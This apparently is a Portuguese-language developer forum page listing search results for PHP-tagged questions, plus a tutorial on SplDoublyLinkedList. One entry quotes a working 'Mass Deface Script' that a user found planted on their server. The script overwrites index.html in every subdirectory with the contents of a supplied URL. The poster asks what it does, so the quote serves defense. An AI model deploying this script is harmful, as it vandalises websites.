Jump to content

Search the Community

Showing results for tags 'Php'.



More search options

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Q&A Desenvolvimento
    • Perguntas e respostas rápidas
  • Desenvolvimento e Banco de Dados
    • HTML e CSS
    • Java
    • Javascript
    • .NET
    • PHP
    • Python
    • Ruby
    • Mobile
    • Ambientes de Desenvolvimento
    • Arquitetura e Métodos Ágeis
    • Banco de Dados
    • DevOps
    • Desenvolvimento de Games
    • E-Commerce e Pagamentos Online
    • SEO e Otimizações
    • WordPress
    • Algoritmos & Outras Tecnologias
  • Design e Produto
    • Fotografia
    • Photoshop
    • Design de interfaces e UX
    • Edição/Produção de Vídeos
    • Marketing Online
    • Desenho, Ilustração e 3D
  • Entretenimento e uso pessoal
    • Geral
    • Segurança & Malwares
    • Gadgets e wearable
    • Softwares e Apps
    • Entretenimento

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Google+


Hangouts


Skype


Twitter


deviantART


Github


Flickr


LinkedIn


Pinterest


Facebook


Site Pessoal


Localização


Interesses

Found 6632 results

  1. dutopfave

    Carrinho de Compra

    Galera fui seguindo um video que ensina a cria carrinho de compra, só que no video já vai com a quantidade = 1, eu queria personaliza e colocar no produto um campo pra colocar quantos de quantidade quiser, acessa o site para ver o código: http://codepaste.net/4k4ac2
  2. Ola sou iniciante na area e encontrei este arquivo dentro de meu servidor : <?php /* Script: Mass Deface Script */ echo "<center><textarea rows='10' cols='100'>"; $defaceurl = $_POST['massdefaceurl']; $dir = $_POST['massdefacedir']; echo $dir."\n"; if (is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { if(filetype($dir.$file)=="dir"){ $newfile=$dir.$file."/index.html"; echo $newfile."\n"; if (!copy($defaceurl, $newfile)) { echo "failed to copy $file...\n"; } } } closedir($dh); } } echo "</textarea></center>"; ?> <td align=right>Mass Defacement:</td><br> </div> <form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'> <div class="style31"> [+] Main Directory: <input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'> [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'> <input type='submit' name='execmassdeface' value='Execute'></div> </form></td> Podem me ajudar a entender o que este arquivo estava execultando ?
  3. Mais ou menos assim: Instancio uma classe dentro de outra: <?php class postagem { public $usuario; function __construct(){ $this->usuario = new usuario(); } } ?> E se eu der um '$this->usuario->nome' dentro dessa classe 'postagem' vai funcionar. O problema é que não funciona se eu quiser acessar por fora essas propriedades da classe 'usuario'... tipo assim: <?php $postagem = new postagem(); echo $postagem->usuario->nome; ?> Retorna esse erro: Notice: Trying to get property of non-object Claro que eu sei outros métodos pra acessar esses mesmos dados, mas eu queria saber se tem um jeito de acessar desse modo que mostrei, por organização e clareza mesmo... Talvez por alguma edição na função __get da classe 'postagem' ou algo do tipo... Muito obrigado.
  4. Gostaria de obter ajuda com um abaxi que peguei. Preciso de criar uma barra de pesquisa em um site (que não é wordpress), mas preciso que a pesquisa retorne os resultados no wordpress, como se a pesquisa tivesse sido feita no próprio site feito em wordpress. Sei que a estrutura de pesquisa do wordpress é mais ou menos essa abaixo: domínimo.com/?s=termo1+termo2&post_type=product (o "post_type=product" é pq preciso que ele retorna apenas as postagens marcadas como produto) Alguém tem alguma ideia de como proceder? Muito obrigado pela ajuda.
  5. urm

    Envio de página

    Boa tarde, eu tenho uma página formatada em html com alguns campos nela e preciso envia-la para um email automaticamente. É um texto com alguns campos, que eu quero que ela seja enviada com os campos preenchidos. Como posso fazer isso? PS: Não entendo muito de php ;)
  6. TheMidter

    htaccess - parar se regra é aplicada

    Olá, estou tentando resolver um problema no htaccess mas não consigo, é o seguinte: RewriteRule ^css/([0-9]+)$ header/css/cms_css.php?CssCod=$1 [L] RewriteRule ^(.*)$ cms.php quero que se a URL for css/numero ele redirecione para o arquivo da primeira linha, essa linha está funcionado perfeitamente, mas se é colocado abaixo a segunda linha para redirecionar o restante das paginas para cms.php ele executa as duas linhas, sendo que o primeiro já foi executado. Tentei colocar a flag [L] para parar mas ele ignora, alguém pode me ajudar? Agradeço se apontar meu erro, obrigado.
  7. fernandoavila

    Exibindo imagens do BD com php

    Boa noite galera! Estou tentando criar um banner que exibe imagens com o caminho direto do banco de dados. Mas infelizmente não está aparecendo e diz que a variável é indefinida...O meu banco de dados contém os seguintes parâmetros: -imagem -> que é onde está o caminho da imagem -nome_imagem -> que é o nome da imagem -link imagem -> que é para onde será encaminhado caso a imagem receba um clique Eu criei um documento php que é onde está este código: carrousel.php <?php require "conexao.php"; $query = "SELECT * FROM lj_carrousel"; $resultado = mysqli_query($con, $query); $linhas = mysqli_num_rows($resultado); while ($linha = mysqli_fetch_array($resultado)) { ?> <?php $imag = $resultado['img2']; ?> <?php } ?> e aqui está onde deveria estar aparecendo a imagem: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Lojinha</title> <link rel="stylesheet" href="css/stylesheet.css" type="text/css" /> </head> <body> <div id="areaCliente"> <div class="mensagem">Faça Login para acessar seus dados!</div> <div class="menuCliente"> <form method="post" action="login.php"> Login: <input type="text" name="usuario" id="usuario" /> Senha: <input type="password" name="senha" id="senha" /> <input type="submit" name="entra" id="entra" value="Entrar" /> </form> </div> </div> <div id="cabecalho"> <div class="carrinho"><font class="texto">Carrinho de Compras</font></div> </div> <div class="menu"> <font class="texto">Barra Menu</font> </div> <div id="carrousel"> <img src="<?php echo("$imag");?>" /> </div> <div id="barra_rev"></div> <div id="menu_lateral"></div> <div id="rodape"></div> </body> </html> Ele na hora está me mostrando isso: Notice: Undefined variable: imag in C:\wamp\www\testandoconhecimento\index.php on line 28 Call Stack #TimeMemoryFunctionLocation 10.0012241064{main}( )..\index.php:0 " /> O que posso fazer para funcionar corretamente e fazer um slideshow?
  8. klsofts

    upload de arquivos:

    Fala pessoal,[/size] Tenho 14 anos e estou tentando criar um serviço de hospedagem de arquivos(assim como mediafire e 4shared), mas o sistema esta permitindo uploads maiores do que os valores que defini e não consigo encontrar o erro.[/size] O seguinte arquivo include pega as informações sobre quanto espaço o usuário tem disponível:[/size] <?php include "connect.inc"; $un = $_COOKIE["un"]; $pw = $_COOKIE["pw"]; $upid = $_COOKIE["upid"]; $sql = "SELECT SUM(size) AS size FROM files WHERE ownerid='$upid'"; $action = mysqli_query($con,$sql); $files = "SELECT * FROM files WHERE ownerid='$upid'"; $action2 = mysqli_query($con,$files); $all = mysqli_num_rows($action2); $accspace = "SELECT * FROM users WHERE id='$upid'"; $nquery = mysqli_query($con,$accspace); $result2 = mysqli_fetch_assoc($nquery); $accsize = $result2["fspace"]; while ($result = mysqli_fetch_assoc($action)) { $used = $result["size"] / 1048576; $space = $accsize - $used; } ?> E o arquivo que realmente faz o upload é o seguinte:[/size] <?php include "cookies.inc"; include "connect.inc"; include "space.inc"; $status = $_GET['s']; $file_name = $_FILES['arq']['name']; $file_size = $_FILES['arq']['size']; $file_type = $_FILES['arq']['type']; $real_fsize = $file_size; if($status != "ly"){ header('Location: upload.php'); } if (isset($_POST['stat'])) { $privacy = "private"; } else { $privacy = "public"; } $destiny = 'users/files/'; $future_file = $destiny.$file_name; if($space < $real_fsize) { echo 'O tamanho do arquivo excede o limite para sua conta.<br>'; echo '<a href="upload.php">Voltar</a>'; } if(file_exists($future_file)){ echo 'Arquivo '. $file_name .' ja existe.<br>'; echo '<a href="upload.php">Voltar</a>'; } if(move_uploaded_file($_FILES['arq']['tmp_name'], $future_file)){ $sql = "INSERT INTO files (name,size,state,ownerid,url) VALUES ('$file_name','$real_fsize','$privacy','$upid','$future_file')"; $query = mysqli_query($con,$sql); header('Location: $future_file'); } else { echo 'Algum erro ocorreu durante o upload.<br>'; echo '<a href="upload.php">Voltar</a>'; } ?> Alguém pode me dizer o que há de errado?suspeito que isto se deva ao fato das informações relativas a espaço(bytes,mb) estarem como decimal no BD mas não sei se isto esta causando o problema ..[/size] [/size]
  9. limalima

    criar login em php.

    Pessoal to criando um sistema de cadastro em php, por enquanto sem banco de dados, pois será implementado numa etapa posterior. No lugar do banco estou salvando os dados da pessoa que efetua o cadastro em um arquivo texto. Preciso que essa pessoa cadastrada possa realizar um login tendo acesso a uma página de alteração de seus dados cadastrais, porém não sei como realizar a comparação do login e senha inseridos pelo o usuário com o arquivo texto que contém o login e senha cadastrados. Requisitos do sistema : 1º - Uma classe Pessoa é responsável por realizar o cadastro no arquivo texto. 2º - Uma classe Usuario que herda métodos e atributos da classe pessoa é responsável por realizar alterações nos dados do usuário já cadastrado. 3º - Possui validação de e-mail e validação de repetição de senha. Segue abaixo o que eu consegui fazer até agora:(Peço desculpas adiantado pois nunca programei e preciso criar este sistema para o meu atual emprego) Formulário de cadastro: Nome * Data de Nascimento Login * e-mail para Cadastro * Senha * Repita Senha * Tipo de conta : IndefinidoRegistradoAdministrador (*) Campos de preenchimento obrigatório /* Classe Pessoa.php*/ class Pessoa { private $nome; private $data; protected $login; private $email = 'user@example.com'; protected $senha; private $repete; private $TipoConta; public function __construct($nome, $data, $login, $email, $senha, $repete, $TipoConta) { $this->nome = $nome; $this->data = $data; $this->login = $login; $this->email = $email; $this->senha = $senha; $this->repete = $repete; $this->TipoConta = $TipoConta; } public function validarCampos($nome, $data, $login, $email, $senha, $repete, $TipoConta) { if (!(empty($nome) || empty($data) || empty($login) || empty($email) || empty($senha) || empty($repete) || empty($TipoConta))) { echo "Obrigado por preencher os campos"; // echo 'é foda'; } else { header("Location: html/cadastro.html"); exit; } } public function validarEmail($email) { if(filter_var($email, FILTER_VALIDATE_EMAIL)) { echo " email é válido."; } else { //echo "email inválido"; header('Location: html/cadastro.html'); exit; } } public function validarSenha($senha, $repete) { if ($senha == $repete) { echo "Senhas conferem"; } else { //echo "Senhas não conferem"; header('Location: html/cadastro.html'); exit; } } public function __sleep() { return array( "nome","data","login","email","senha","repete","TipoConta" ); } /*Página cadastrar.php recebe os dados do formulário*/ include_once 'class/Pessoa.php'; $nome1 = $_POST['nome']; $data1 = $_POST['data']; $login1 = $_POST['login']; $email1 = $_POST['email']; $senha1 = $_POST['senha']; $repete1 = $_POST['repete']; $TipoConta1 = $_POST['TipoConta']; $obj = new Pessoa($nome1, $data1, $login1, $email1, $senha1, $repete1, $TipoConta1); $obj->validarCampos($nome1, $data1, $login1, $email1, $senha1, $repete1, $TipoConta1); $obj->validarEmail($email1); $obj->validarSenha($senha1, $repete1); $serial = serialize($obj); file_put_contents("arquivo", $serial); header("Location: html/cadastro.html"); ?> /*Página alterar.php recebe os dados do campo de login */ <?php include 'class/Usuario.php'; $login3 = $_POST['login1']; $senha3 = $_POST['senha']; $obj2 = new Usuario(); $obj2->validarLogin($login3, $senha3); ?> /*Classe Usuario.php não consegui criar nada que desse certo*/ class Usuario extends Pessoa { public function validarLogin($login2, $senha2) { } }
  10. Helmesvs

    Pegar apenas a hora de um datatime

    Preciso pegar apenas a hora de um datatime e converte no formato dia/mes/ano. Como faço isso? Segue o codigo: <?php include "conexao.php"; $sql_visualizar = mysql_query("SELECT * FROM publicacoes"); while($linha = mysql_fetch_array($sql_visualizar)){?> <form method="post" action="noticias2.php"> <input name="idnoticias" type="hidden" value="<?php echo $linha['id'] ?>" /> <div class="blog-item"> <div class="row"> <div class="col-lg-2 col-sm-2"> <div class="date-wrap"> <span class="date">10</span> <span class="month">Setembro</span> </div> <form method="post" action="noticias2.php"> <input name="idnoticias" type="hidden" value="<?php echo $linha['id'] ?>" /> <div class="comnt-wrap"> <span class="comnt-ico"> <i class="icon-time"></i> </span> <span class="value"><?php echo $linha['datahora'] ?></span> </div> </div> <div class="col-lg-10 col-sm-10"> <div class="blog-img"> <img src="img/blog/<?php echo $linha['imagem1'] ?>" alt=""/> </div> </div> </div> <div class="row"> <div class="col-lg-2 col-sm-2 text-right"> <div class="author"> By <a href="#">Admin</a> </div> <br><br><br></br> <div class="shate-view"> <ul class="list-unstyled"> <li><a href="javascript:;">209 View</a></li> <li><a href="javascript:;">23 Share</a></li> </ul> </div> </div> <div class="col-lg-10 col-sm-10"> <h1><a href="blog_detail.html"><?php echo $linha['titulo'] ?></a></h1> <p><?php echo substr ($linha['descricao'],0, 300);?></p> <a href="notcias2.php" class="btn btn-danger">Continuar lendo</a> </div> </div> </div> </form> <?php } ?>
  11. Lincoln Nogueira

    Formato de número PHP

    Gostaria de formatar a entrada de valores no input para o sum do php realizar o calculo de acordo com o número de casas decimais. Estou usando o number_format($arrayvt[$y]['total_credito'], 2, ',', '.'). Porém o sum(total_credito) não está somando os valores após a virgula. Gostaria de saber como proceder nos dois casos.
  12. Olá preciso pegar dados de um XML (conhecimento eletronico) e gravar em BD , li vários posts , mas estou patiando no quesito " Nó " segue o XML de exemplo . <?xml version="1.0" encoding="UTF-8"?> -<cteProc xmlns="http://www.portalfiscal.inf.br/cte" versao="2.00"> -<CTe xmlns="http://www.portalfiscal.inf.br/cte"> -<infCte versao="2.00" Id="CTe35150612441133000182570010000037901000011234"> -<ide> <cUF>35</cUF> <cCT>00001123</cCT> <CFOP>6352</CFOP> <natOp>SERVICOS DE TRANSPORTE</natOp> <forPag>2</forPag> <mod>57</mod> <serie>1</serie> <nCT>3790</nCT> <dhEmi>2015-06-17T20:22:16</dhEmi> <tpImp>1</tpImp> <tpEmis>1</tpEmis> <cDV>4</cDV> <tpAmb>1</tpAmb> <tpCTe>0</tpCTe> <procEmi>0</procEmi> <verProc>1.49.0.8</verProc> <cMunEnv>00000-1</cMunEnv> <xMunEnv/> <UFEnv>SP</UFEnv> <modal>01</modal> <tpServ>0</tpServ> <cMunIni>00000-1</cMunIni> <xMunIni>GUARULHOS - SP</xMunIni> <UFIni>SP</UFIni> <cMunFim>2905701</cMunFim> <xMunFim>CAMACARI</xMunFim> <UFFim>BA</UFFim> <retira>0</retira> -<toma03> <toma>3</toma> </toma03> </ide> -<compl> <xCaracAd>Normal</xCaracAd> -<Entrega> -<comData> <tpPer>2</tpPer> <dProg>2015-06-20</dProg> </comData> -<semHora> <tpHor>0</tpHor> </semHora> </Entrega> <xObs>| NF15553-15556 - JORGE-PED 40899346 | Data de Vencimento: 100% em 15/07/2015,</xObs> </compl> -<emit> <CNPJ/> <IE/> <xNome/> -<enderEmit> <xLgr/> <nro/> <xBairro/> <cMun>00000-1</cMun> <xMun/> <UF>SP</UF> </enderEmit> </emit> -<rem> <CNPJ>11430665000151</CNPJ> <IE>336915163110</IE> <xNome>METALBRAX IND. METAL. LTDA.</xNome> <xFant>METALBRAX IND. METAL. LTDA.</xFant> <fone>1124132400</fone> -<enderReme> <xLgr>RUA AREIAL</xLgr> <nro>082</nro> <xBairro>PQ INDL SATELITE</xBairro> <cMun>3518800</cMun> <xMun>GUARULHOS - SP</xMun> <CEP>07224020</CEP> <UF>SP</UF> <cPais>1058</cPais> <xPais>BRASIL</xPais> </enderReme> </rem> -<vPrest> <vTPrest>9214.00</vTPrest> <vRec>9214.00</vRec> -<Comp> <xNome>Frete Valor</xNome> <vComp>9214.00</vComp> </Comp> </vPrest> -<imp> -<ICMS> -<ICMS00> <CST>00</CST> <vBC>0.00</vBC> <pICMS>0.00</pICMS> <vICMS>0.00</vICMS> </ICMS00> </ICMS> </imp> -<infCTeNorm> -<infCarga> <vCarga>77122.00</vCarga> <proPred>PF SEXT</proPred> <xOutCat>CAIXAS DE MADEIRA</xOutCat> -<infQ> <cUnid>01</cUnid> <tpMed>Peso Bruto</tpMed> <qCarga>5141.2700</qCarga> </infQ> -<infQ> <cUnid>01</cUnid> <tpMed>Peso Aferido</tpMed> <qCarga>5141.2700</qCarga> </infQ> -<infQ> <cUnid>03</cUnid> <tpMed>Qtde</tpMed> <qCarga>8.0000</qCarga> </infQ> </infCarga> -<infDoc> -<infNFe> <chave>35150611430665000151550010000155561004640325</chave> </infNFe> -<infNFe> <chave>35150611430665000151550010000155531004640323</chave> </infNFe> </infDoc> -<seg> <respSeg>5</respSeg> </seg> -<infModal versaoModal="2.00"> -<rodo> <RNTRC>44325777</RNTRC> <dPrev>2015-06-20</dPrev> <lota>0</lota> </rodo> </infModal> </infCTeNorm> </infCte> -<Signature xmlns="http://www.w3.org/2000/09/xmldsig#"> -<SignedInfo> <CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/> <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> -<Reference URI="#CTe35150612441133000182570010000037901000011234"> -<Transforms> <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <Transform Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/> </Transforms> <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/> <DigestValue>+cHPkTmEf3vyumdW2haexgbKawE=</DigestValue> </Reference> </SignedInfo> <SignatureValue>+cHPkTmEf3vyumdW2haexgbKawE=</SignatureValue> -<KeyInfo> -<X509Data> <X509Certificate>+cHPkTmEf3vyumdW2haexgbKawE=</X509Certificate> </X509Data> </KeyInfo> </Signature> </CTe> -<protCTe versao="2.00"> -<infProt> <tpAmb>1</tpAmb> <verAplic>1</verAplic> <chCTe>35150612441133000182570010000037901000011234</chCTe> <dhRecbto>2015-06-17T20:38:21</dhRecbto> <nProt>135150553827615</nProt> <digVal>+cHPkTmEf3vyumdW2haexgbKawE=</digVal> <cStat>100</cStat> <xMotivo>Autorizado o uso do CT-e</xMotivo> </infProt> </protCTe> </cteProc> Agradeço antecipadamente e ajuda.
  13. Handrix

    Erro com _SESSION?

    Eai galera do fórum iMasters, estou criando um painel administrativo para uma web rádio que estou montando só que estou com um erro com os _SESSION que estou criando e não sei como resolver, segue o código e o erro abaixo: <?php if ($_SESSION['site'] == 'mu_env') { $_SESSION['site'] = 'mu_env'; include('mu_env.php'); } if ($_SESSION['site'] == 'delmusic') { $_SESSION['site'] = 'delmusic'; include('delmusic.php'); } if ($_SESSION['site'] == 'parceria') { $_SESSION['site'] = 'parceria'; include('parceria.php'); } if ($_SESSION['site'] == 'del_parc') { $_SESSION['site'] = 'del_parc'; include('del_parc.php'); } if ($_SESSION['site'] == 'locutor') { $_SESSION['site'] = 'locutor'; include('progloc_iframe.php'); } if ($_SESSION['site'] == 'kick') { $_SESSION['site'] = 'kick'; include('kick.php'); } if ($_SESSION['site'] == 'novo') { $_SESSION['site'] = 'novo'; include('user_cria.php'); } if ($_SESSION['site'] == 'delete') { $_SESSION['site'] = 'delete'; include('programadelete.php'); } if ($_SESSION['site'] == 'programa') { $_SESSION['site'] = 'programa'; include('prog_cria.php'); } else if ($_SESSION['site'] == 'alterar') { $_SESSION['site'] = 'alterar'; include("alter_usu.php"); } else if ($_SESSION['site'] == 'outros') { $_SESSION['site'] = 'outros'; include("outros.php"); } Acredito ser um erro simples porém não sei como corrigi-lo :/ Notice: Undefined index: site in C:\xampp\htdocs\deabo\painel\panel.php on line 174 O erro se repete em todos inícios que apresentam _SESSION, aparentemente acredito que é por não ter definido o "site" e se for isso mesmo gostaria de saber o que é necessário fazer para defini-lo, ou se for outro problema se for possivel explanar a solução. Desde já, grato!
  14. PHP SPL - A biblioteca padrão do PHP Durante uma discussão no PHP Brasil, descobrimos que há uma baixa aceitação da SPL por conta de desconhecimento de sua própria existência. A proposta da série *PHP SPL - A biblioteca padrão do PHP* é justamente procurar resolver essa questão, apresentando cada um dos participantes da SPL, mostrando o que são, para que servem e como utilizá-los. Listas ligadas e a SplDoublyLinkedList Antes de abordar diretamente a SplDoublyLinkedList e mostrar como utilizá-la, precisamos compreender o que é, de fato, uma DoublyLinkedList ou lista duplamente ligada. Para isso, vamos começar descrevendo uma lista ligada simples antes de evoluir para a lista duplamente ligada. Lista ligada Linguagens de programação possuem estruturas de dados. Uma lista ligada ou duplamente ligada nada mais é do que uma estrutura de dados. Utilizamos com bastante frequência no PHP uma estrutura de dados chamada array. Independentemente da forma como é implementado no PHP - em PHP o array associativo tem um comportamento de HashTable -, arrays são, normalmente, estruturas de dados contínuas, ou seja, elas são armazenadas em memória ou no disco item por item de forma sequêncial. Por ser sequencial, essas estruturas de dados possuem um custo relativamente alto em operações de exclusão ou insersão que não sejam no fim do array. Basicamente, num array como é normalmente implementado, precisamos cortar o array na posição desejada, criando dois arrays, colocar o novo item na posição desejada e, então, mesclar novamente os dois arrays. A grande vantagem de uma lista ligada, em comparação com o array, está justamente no baixo custo que ela promove para essas operações e para o armazenamento - seja em memória, seja em disco. E esse tipo de estrutura de dados pode ser implementada de forma extremamente simples. Tudo o que precisamos é de duas referências: uma para o dado armazenado, outra para o próximo item da lista. Por exemplo: <?php printf("\n-----------[ Criação da lista ]------------\n\n"); $first = new stdClass(); $first->data = 1; $second = new stdClass(); $second->data = 2; $third = new stdClass(); $third->data = 3; $first->next = $second; $second->next = $third; $item = null; do { $item = $item == null? $first: $item->next; printf("%s\n", $item->data); } while (isset($item->next)); A saída será: -----------[ Criação da lista ]------------ 1 2 3 Inserção e remoção de itens Como pôde ser visto no exemplo anterior, implementar uma lista ligada e iterar por seus elementos é muito simples. Tão simples quanto implementar a lista, é adicionar um novo elemento no meio dela. Tudo o que precisamos é mudar a referência para o próximo item, no local onde queremos adicionar o novo item. Por exemplo: <?php printf("\n-----------[ Criação da lista ]------------\n\n"); $first = new stdClass(); $first->data = 1; $second = new stdClass(); $second->data = 2; $third = new stdClass(); $third->data = 3; $first->next = $second; $second->next = $third; $item = null; do { $item = $item == null? $first: $item->next; printf("%s\n", $item->data); } while (isset($item->next)); printf("\n-----------[ Inserção no meio da lista ]------------\n\n"); $twonhalf = new stdClass(); $twonhalf->data = 2.5; $second->next = $twonhalf; $twonhalf->next = $third; $item = null; do { $item = $item == null? $first: $item->next; printf("%s\n", $item->data); } while (isset($item->next)); A saída será: -----------[ Criação da lista ]------------ 1 2 3 -----------[ Inserção no meio da lista ]------------ 1 2 2.5 3 E para a remoção, basta mudar a referência do próximo item, no item anterior ao queremos remover da lista. Por exemplo: <?php printf("\n-----------[ Criação da lista ]------------\n\n"); $first = new stdClass(); $first->data = 1; $second = new stdClass(); $second->data = 2; $third = new stdClass(); $third->data = 3; $first->next = $second; $second->next = $third; $item = null; do { $item = $item == null? $first: $item->next; printf("%s\n", $item->data); } while (isset($item->next)); printf("\n-----------[ Inserção no meio da lista ]------------\n\n"); $twonhalf = new stdClass(); $twonhalf->data = 2.5; $second->next = $twonhalf; $twonhalf->next = $third; $item = null; do { $item = $item == null? $first: $item->next; printf("%s\n", $item->data); } while (isset($item->next)); printf("\n-----------[ Remoção no meio da lista ]------------\n\n"); $first->next = $twonhalf; $item = null; do { $item = $item == null? $first: $item->next; printf("%s\n", $item->data); } while (isset($item->next)); A saída será: -----------[ Criação da lista ]------------ 1 2 3 -----------[ Inserção no meio da lista ]------------ 1 2 2.5 3 -----------[ Remoção no meio da lista ]------------ 1 2.5 3 Lista duplamente ligada Compreendido o que é uma lista ligada, fica fácil, já que é um tanto óbvio, compreender o que é uma lista duplamente ligada. Ao contrário da lista ligada, que possui referência apenas para o próximo item, a lista duplamente ligada também possui referência para o item anterior. E por que temos duas referências? Bom, existem diversos motivos, entre eles o menor custo em algumas operações, mas o motivo mais simples é que haverá situações onde precisaremos iterar os itens de forma invertida, indo do último item até o primeiro item. Por exemplo: <?php $first = new stdClass(); $first->data = 1; $second = new stdClass(); $second->previous = $first; $second->data = 2; $third = new stdClass(); $third->previous = $second; $third->data = 3; $first->next = $second; $second->next = $third; printf("\n-----------[ Iterando a lista do primeiro ao último ]------------\n\n"); $item = null; do { $item = $item == null? $first: $item->next; printf("%s\n", $item->data); } while (isset($item->next)); printf("\n-----------[ Iterando a lista do último ao primeiro ]------------\n\n"); $item = null; do { $item = $item == null? $third: $item->previous; printf("%s\n", $item->data); } while (isset($item->previous)); A saída será: -----------[ Iterando a lista do primeiro ao último ]------------ 1 2 3 -----------[ Iterando a lista do último ao primeiro ]------------ 3 2 1 SplDoublyLinkedList O objetivo da `SplDoublyLinkedList` é, justamente, facilitar a criação, manutenção e operações relacionadas com listas duplamente ligadas. Ela oferece uma interface que permite que adicionemos itens no início da lista, no fim da lista ou num lugar específico da lista. Ainda permite que a iteração ocorra para frente ou para trás, que possamos remover itens do início FIFO - Criando uma fila com a SplDoublyLinkedList Filas possuem um comportamento FIFO - First In First Out -, ou seja, o primeiro item a entrar na fila deve ser o primeiro item a sair da fila. Muito comum em operações coordenadas, filas de impressão, filas de atendimento em sistemas de help desk, etc. Para esse tipo de implementação usamos o método `SplDoublyLinkedList::push`, que adicionará o novo elemento no final da fila e o método `SplDoublyLinkedList::shift`, que removerá e retornará o primeiro item da lista: <?php $fifo = new SplDoublyLinkedList(); $fifo->push(1); $fifo->push(2); $fifo->push(3); while ($fifo->count()) { printf("%s\n", $fifo->shift()); } A saída será: 1 2 3 FILO - Criando uma pilha com SplDoublyLinkedList Pilhas possuem um comportamento FILO - First In Last Out -, ou seja, se estivermos empilhando pratos para lavar, o primeiro prato a ser lavado será o do topo da pilha, ou o último a ser colocado nela. Muito comum em linguagens de programação para organizar a pilha de chamadas de funções. Para esse tipo de implementação usamos o método `SplDoublyLinkedList::push`, para adicionar um novo item ao final da pilha e o método `SplDoublyLinkedList::pop`, que removerá e retornará o último item da lista: <?php $filo = new SplDoublyLinkedList(); $filo->push(1); $filo->push(2); $filo->push(3); while ($filo->count()) { printf("%s\n", $filo->pop()); } A saída será: 3 2 1 DEQUEUE - Criando uma fila com terminação dupla, duplamente terminada, etc. Filas duplamente terminadas são aquelas onde podemos adicionar itens no fim da fila e no começo da fila. Normalmente utilizamos esse tipo de fila em alguma lista onde alguns itens possuem prioridades em relação aos outros. Por exemplo, numa fila de mercado, o primeiro a entrar na fila do caixa é o primeiro a ser atendido. Mas se um senhor de mais idade for ao caixa, então esse senhor deve ter prioridade em relação aos mais novos e pode entrar no começo da fila. Para esse tipo de implementação usamos os métodos: `SplDoublyLinkedList::push`, para adicionar um novo item no fim da fila, o método `SplDoublyLinkedList::unshift`, para adicionar um novo item no começo da fila e o método `SplDoublyLinkedList::shift`, que removerá e retornará o primeiro item da lista: <?php $deque = new SplDoublyLinkedList(); $deque->push('Garotinho'); $deque->push('Jovem de 20'); $deque->push('Jovem de 30'); // O senhor de 80 tem prioridade no atendimento $deque->unshift('Senhor de 80'); while ($deque->count()) { printf("%s\n", $deque->shift()); } A saída será: Senhor de 80 Garotinho Jovem de 20 Jovem de 30 Outros métodos Além dos métodos acima, que descrevem alguns comportamentos comuns, também temos outros métodos que permitem alguns comportamentos específicos, por exemplo: Adicionando elementos em posições específicas da lista <?php $list = new SplDoublyLinkedList(); $list->push(1); $list->push(2); $list->push(3); // Adicionando o item 2.5 na posição 2 da lista $list->add(2, 2.5); foreach ($list as $item) { printf("%s\n", $item); } A saída será: 1 2 2.5 3 Variando a ordem do Iterator <?php $list = new SplDoublyLinkedList(); $list->push(1); $list->push(2); $list->push(3); printf("\nIterator como FIFO\n"); $list->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO); //First in First Out foreach ($list as $item) { printf("%s\n", $item); } printf("\nIterator como FILO\n"); $list->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO); //Last in First Out foreach ($list as $item) { printf("%s\n", $item); } A saída será: Iterator como FIFO 1 2 3 Iterator como FILO 3 2 1 Conclusão Muitas vezes não usamos alguma coisa simplesmente porque não sabemos para que tal coisa serve. Não adiantaria se tivéssemos uma documentação detalhada da API da classe `SplDoublyLinkedList`, com a descrição de cada um de seus métodos, parâmetros e comportamentos, se não tivermos o conhecimento sobre para que, exatamente, aquela coisa serve. Essa é, justamente, a proposta da série *PHP SPL - A biblioteca padrão do PHP*: promover o conhecimento sobre a SPL através da descrição dos problemas que seus participantes pretendem resolver.
  15. Notei que é importante o usuario ver seus dados cadastrados no banco tenho um login, para usuario, adm e professor. Esse usuario que se inscreveu poderia ter uma opção de ver seu cadastro e alterar não só pedir para o adm. Como faço para ele ver seus dados cadastrados e alterar algo se quiser. E outra coisa senha do banco ser criptografada.
  16. Existe alguma implementação que possa ser feita no PHPMailer pra que e-mails que não conseguiram ser enviados (devido à queda momentânea do servidor do site que utiliza do PHPMailer, por exemplo) possam ser enviados depois? Pode ser alguma espécie de monitoramento do servidor do e-mail ou registro de e-mails a serem enviados (conferir se foram enviados ou não).
  17. Vitor Bueno

    Salvar download em pasta especifica

    Boa tarde galera, Gostaria de saber como faço para salvar um determinado arquivo e uma pasta local de minha escolha. Eu desenvolvo em um sistema web PHP,' em nuvem', e por esse sistema eu gero um arquivo TXT, e depois de gerado ele e salvo numa pasta dentro da pasta do sistema, ainda em nuvem, e depois que foi gerado e salvo, eu estou fazendo o download desse TXT, o unico problema que esse download e salvo na pasta que esta configurada pelo navegador, no caso ele salva no mesmo lugar aonde se encontra outros downloads, eu queria salvar esse meu TXT e uma pasta especifica, no caso eu colocar C:/TXTS-Nuvem/ e salvar , e não salvar aonde esta configurado pelo navegador, é possível eu forçar esse redirecionamento de pasta?
  18. maximiliano roque faustino

    Quebrar postagem e continuar em outra div

    Ola galera, sou novo aqui. Bom estou com um problema que para vocês pode ser fácil de resolver, mas como estou começando ta me deixando louco kk. Estou desenvolvendo um sistema de postagem para um site, e gostaria de pode exibir as postagens uma do lado da outra formando 3 colunas. Da seguinte forma O problema é que quando tento postar alguma coisa, acontece isso: Tipo eu gostaria de saber se tem alguma função que apos listar os 3 post ela pare e continue na parte de baixo. Bom é isso espero que entendam minha duvida.. Vlw
